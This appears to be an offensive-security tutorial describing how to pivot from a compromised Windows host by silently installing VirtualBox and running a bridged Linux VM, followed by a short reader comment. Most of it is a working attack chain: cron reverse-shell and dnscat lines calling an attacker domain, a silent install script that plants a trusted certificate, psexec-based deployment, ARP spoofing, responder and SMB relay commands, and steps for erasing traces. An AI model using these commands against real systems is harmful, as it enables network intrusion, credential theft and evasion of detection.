Imagine that you have penetrated a network perimeter and gained access to a Windows server. Now you have to advance through the infrastructure: from the DMZ to the domain controller (or to the technological network and control over the turbines).
Or let’s say, you are inside a local network but cannot gain control over the target server because it has all the updates installed, while all you have are a few compromised machines in the VLAN.
In both cases, the attack vector involves an interface leading directly to the VLAN of the compromised PC at the L2 level. Such an interface enables you to turn the Windows-based host under your control into a gateway and avoid the need to install special network scanners and software for sophisticated network attacks.
The L2 access grants a number of additional benefits. For instance, you can perform:
- MITM attacks exploiting vulnerabilities in the Ethernet protocol (arpspoof);
- attacks on NetBIOS (responder); and
- attacks on IPv6 (mitm6).
MITM attacks are one of the most powerful offensive techniques targeting Ethernet-based local networks. These attacks allow to gain control over seemingly unassailable hosts; all you have to do is listen to their network traffic (to extract logon credentials from it) and/or modify this traffic.
As you are aware, the majority of hosts in local networks use Windows. Too bad, Windows is not the best platform for attacks. You cannot fully implement IP forwarding; as a result, your actions may paralyze the entire network segment.
Other attack types are not very efficient, too. In theory, you could configure OpenVPN and the network bridge, but the command-line bridge configuration procedure is poorly implemented in Windows: after changing the bridge settings, you may lose access forever.
Implementation
Needless to say that post-exploitation requires administrative privileges.
I will use VirtualBox to run Linux on the compromised PC because this virtualization software:
- can be installed in the quiet mode;
- includes an extremely useful CLI tool, VboxManage;
- can be run on old computers without hardware virtualization; and
- allows to run the VM in the background.
At the first glance, this solution seems a little bit cumbersome, but, in fact, it has significant advantages:
- you won’t be detected by antiviruses because the software you use is 100% legitimate;
- no graphical interfaces are required; psexec, webshell, or netcat will suffice;
- the method is applicable to any Windows version, from XP/2003 to 10/2019; and
- the method does not leave much traces: all operations are performed in the file system of the VM.
The main disadvantage is the need to copy some 500 MB of files, but in many real-life cases, this is not a problem.
Note that in some situation, this technique may not work. If the compromised system is a virtual machine, the promiscuous mode for the network card could be disabled in its settings. As a result, your VM won’t be able to receive network packets.
Deploying guest OS
There are two guest OS variants:
- Kali Linux with its powerful suite of hacking tools; or
- a minimalist Linux distribution with OpenVPN acting as a gateway.
The first variant is simple: you just download the distribution and deploy the OS. Kali will likely include all the tools you need.
But I prefer the second, more elegant variant: I will assemble my VM from scratch and transform it into a gateway, thus, granting L2 access to the target host network from any part of the world.
This approach allows to save some 1-2 GB of disk space because all hacking software will be run from the attacker’s machine, and you won’t be detected by antiviruses.
As said above, to make my Linux distribution as minimalist as possible, I create it from scratch. A 32-bit system will be the optimal variant.
First, I create an image to be filled:
truncate -s 1G linux.img
The image size is 1 GB, which is more than enough; later, the VDI format will compress empty spaces.
Then I create the disk partition: one logical volume.
$
Command (m for help):n
Command (m for help):p
Partition number (1-4, default 1):
First sector (2048-2097151, default 2048):
Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-2097151, default 2097151):
Command (m for help):w
Command (m for help):q
Next, I create the file system and mount the newly-created volume:
sudo losetup -o $[2048*512] /dev/loop0 linux.imgsudo mkfs.ext4 /dev/loop0sudo mount /dev/loop0 /mnt/
Downloading the minimum user space environment:
sudo debootstrap --arch=i386 --variant=minbase stable /mnt/ http://http.us.debian.org/debian
Time to build the kernel:
cd /usr/src/linux-5.5.1/
Creating the default kernel configuration:
make ARCH=i386 defconfig
I will also need some additional modules:
make ARCH=i386 menuconfig
- Network bridging support: Networking support → Networking options → 802.1d Ethernet Bridging.
- Support for virtual interfaces (tun): Device Drivers → Network device support → Network core driver support → Universal TUN/TAP device driver support.
- Aside from OpenVPN, a tunnel can also be built using GRE (optional): Networking support → Networking options → TCP/IP networking → The IPv6 protocol → IPv6: GRE tunnel.
- To be able to build PPP tunnels with just one command (also optional): Device Drivers → Network device support → PPP (point-to-point protocol) support.
Building the kernel:
make ARCH=i386 preparemake ARCH=i386 scriptsmake ARCH=i386 bzImage
Assembling modules:
make ARCH=i386 modules
When everything is ready, I copy the kernel and modules:
make INSTALL_PATH=/mnt/boot installmake INSTALL_MOD_PATH=/mnt/ modules_install
Time to create the RAM disk. If the host system is 64-bit, the best way is to use a 32-bit system for it. The environment that I have downloaded using the debootstrap tool is ideally suited for this purpose:
chroot /mnt/mkinitramfs -k -o /boot/initrd.img-5.5.0 5.5.0apt remove initramfs-tools-core && apt autoremoveexit
Finally, I create the bootloader.
grub-install --target=i386-pc --boot-directory=/mnt/boot/ linux.img --modules='part_msdos'
Specifying the loading options:
mnt/boot/grub/grub.cfg
set timeout=5menuentry "Debian Linux" {
linux /boot/vmlinuz-5.5.0 root=/dev/sda1 rw initrd /boot/initrd.img-5.5.0}
Voila! A workable system is ready-to-go. But it still requires some tweaking. So, I go to the file system again:
chroot /mnt/
First of all, I configure SSH:
apt install openssh-serverupdate-rc.d ssh enable 2 3 4 5
Specifying the root password:
passwd root
Then I install the OpenVPN server to be used as a gateway:
apt install openvpn
For the sake of brevity I omit here the generation of certificates and keys for OpenVPN. The final config for the server side is follows:
local 10.10.10.10port 1194proto tcpdev tapuser nobodygroup nogroup<ca>
...
</ca>
<cert>
...
</cert>
<key>
...
</key>
<dh>
...
</dh>
cipher AES-128-CBCcomp-lzoserver-bridge 10.10.10.10 255.255.255.0 10.10.10.40 10.10.10.50script-security 2up /etc/openvpn/up.shdown /etc/openvpn/down.shpersist-keypersist-tun
Up.sh и down.sh are the scripts that add the VPN interface to the network bridge.
/etc/openvpn/up.sh
#!/bin/sh/usr/sbin/brctl addif br0 "$1"/usr/sbin/ifconfig "$1" up
/etc/openvpn/down.sh
#!/bin/sh/usr/sbin/brctl delif br0 "$1"/usr/sbin/ifconfig "$1" down
I also add the OpenVPN client for connection to VDS that will be launched immediately after the start of my VM and will enable me to connect from any location.
In case the VM is launched in a filtered network segment, I make provisions for a reverse shell by adding the following code to cron:
* * * * * /bin/nc -e /bin/bash attacker.my_zone.tk 8888
In case there is no Internet, but DNS exfiltration (which occurs pretty often), I add one more string to cron:
* * * * * /bin/ping -c 1 dnsshell.my_zone.tk 1> /dev/null 2> /dev/null && /usr/local/bin/dnscat dnscat.my_zone.tk
In both situations, I can control my DNS zone using attacker.my_zone.tk and dnscat.my_zone.tk and, accordingly, can control the behavior of reverse shells.
I clean the dpkg database to free 50 MB of disk space…
apt clean
…and unmount the file system:
umount /mntlosetup -d /dev/loop0
Finally, I have to create an image for VirtualBox – it must be converted to the VDI format:
qemu-img convert -O vdi linux.img linux.vdi
Now everything is ready. I import the image into VirtualBox, specify the number of processors and RAM volume (just the required minimum), and get the ready-to-use linux.ova file that can be imported on any host without any problem.
The final image size is 341 MB.
Quietly installing and launching VirtualBox.
I download the VirtualBox distribution. The optimal version for my purposes is 5.2.6-120293: it smoothly runs on all Windows systems, from XP to 10.
To install it in the quiet mode, I need .msi installer packages:
virtualbox-5.2.6-120293-Win.exe -extract
The %USER%\
folder contains all the required installation files:
- VirtualBox-5.2.6-MultiArch_amd64.msi;
- VirtualBox-5.2.6-r120293-MultiArch_x86.msi; and
- common.cab.
I also have to extract a certificate from any VirtualBox driver: it will be added to trusted
prior to the installation to circumvent the untrusted driver notification window.
Below is the bat
script that deploys everything in the quiet mode.
pushd %~dp0certutil -addstore TrustedPublisher cert.cerdir "\prog*86)" > nul 2> nul && ( msiexec /i VirtualBox-5.2.6-r120293-MultiArch_amd64.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
) || ( msiexec /i VirtualBox-5.2.6-r120293-MultiArch_x86.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
)ping -n 300 127.0.0.1 >nulc:\post\vboxmanage import linux.ova --options keepallmacsc:\post\vboxmanage list bridgedifs|findstr /R "^Name:" > out.txtsetlocal enabledelayedexpansionset /a c=1for /f "tokens=2*" %%i in ('type out.txt') do ( echo c:\post\vboxmanage modifyvm linux32 --nic!c! bridged --bridgeadapter!c! "%%i %%j" >> out.bat echo c:\post\vboxmanage modifyvm linux32 --nicpromisc!c! allow-all >> out.bat set /a c=c+1)chcp 1251call out.batchcp 866c:\post\vboxmanage modifyvm linux32 --pae onc:\post\vboxmanage startvm linux32 --type headless
Why Linux?
Seems overcomplicated? But in fact, there is nothing difficult there! Hacking software for Windows is much more overcomplicated because it:
- either won’t run or won’t operate properly in roughly half the instances;
- will often try to show you the graphical shell, which may be an excessive luxury;
- forces you to circumvent antiviruses;
- forces you to install interpreters (e.g. Python) and numerous dependencies, which is problematic in the absence of Internet access;
- sometimes requires you to reboot the system (which is quite normal for Windows); and
- is definitely inferior to similar Linux-based ecosystems by flexibility and functionality.
Deploying VM on remote host
Finally, I am ready to launch my Linux VM on the Windows host under my control.
First, I copy all required files and launch the VM:
cd /usr/share/windows-binaries/vbox/smbclient -U user%pass //owned_host -c "mkdir post; cd post; put cert.cer; put common.cab; put install.bat; put linux.ova; put VirtualBox-5.2.6-r120293-MultiArch_amd64.msi; put VirtualBox-5.2.6-r120293-MultiArch_x86.msi"psexec.py user:pass@owned_host "start c:\post\install.bat"
If everything goes well, then five minutes later, I should see in the target network segment a new host; its port 22 is open, and I can use it for connection.
ssh root@vbox_vm
Then I add the required network interface to the bridge:
brctl addbr br0; brctl addif br0 enp0s3; ifconfig enp0s3 0 promisc; ifconfig br0 10.10.10.10/24; route add -net default gw 10.10.10.1
It’s important to perform all operations in one command to avoid losing the connection.
I edit the IP address assigned to my VM in /
and run openvpn:
openvpn --config server.conf
Then I run on my main system (of course, a Linux-based one) the following command:
openvpn --config client.conf
As a result, I get the tap0 interface – as if I were connected to the VLAN of the compromised system by a patch cord. From now on, I can do whatever I want.
ettercap -i tap0 -Tq -o -M arp:remote /gateway// /dc//responder -I tap0 -r -d -w -Fnetcreds -i tap0iptables -t nat -A PREROUTING -i tap0 -p tcp --dport 445 -j REDIRECT --to-ports 445smbrelayx.py -h target -e shell.exeiptables -t nat -A PREROUTING -i tap0 -p tcp --dport 80 -j REDIRECT --to-ports 10000mitmf -i tap0 --smbauth
So, using the virtualization and network tunneling magic, I opened a portal to a network segment of the compromised system, thus, maximizing the post-exploitation efficiency. Now the powerful tools embedded in Linux can penetrate any system, even a fully patched and heavily protected one!
Exiting in style
When it comes to covering up traces, I turn off the VM and delete it, remove VirtualBox, remove the certificate, and delete all files:
vboxmanage controlvm linux32 poweroffvboxmanage unregistervm linux32 --deletewmic product where name="Oracle VM VirtualBox 5.2.6" call uninstall /nointeractivecertutil -delstore TrustedPublisher cert.cerrmdir /s /q c:\post
That’s it. No traces left. Almost.
Real-life example
This is how the idea described above was born.
Once we performed an internal pentesting audit and stopped a footstep away from gaining control over the power plant’s turbines. The problem was that the control computer was not a domain member (which is not unusual for technological components) and had no actual vulnerabilities.
Our only chance was an MITM attack – either through ARP spoofing or (partially) through NetBios spoofing. However, there were no Linux-based servers suitable for such an attack in the entire network segment, while we had access only to a few adjacent Windows-based workstations. In that situation, we performed the described above procedure using Kali as the guest OS.
As a result, it took us fifteen minutes to obtain the account credentials of the local administrator and gain access to the technological network.
I was thinking about this kind of setup in a recent engagement.
I had a footstep on a host as a simple user and wasn’t able to LPE.
I did think about using qemu to run a linux VM on the host without admin rights and try to hop on another host.
I unfortunately didn’t had enough time left.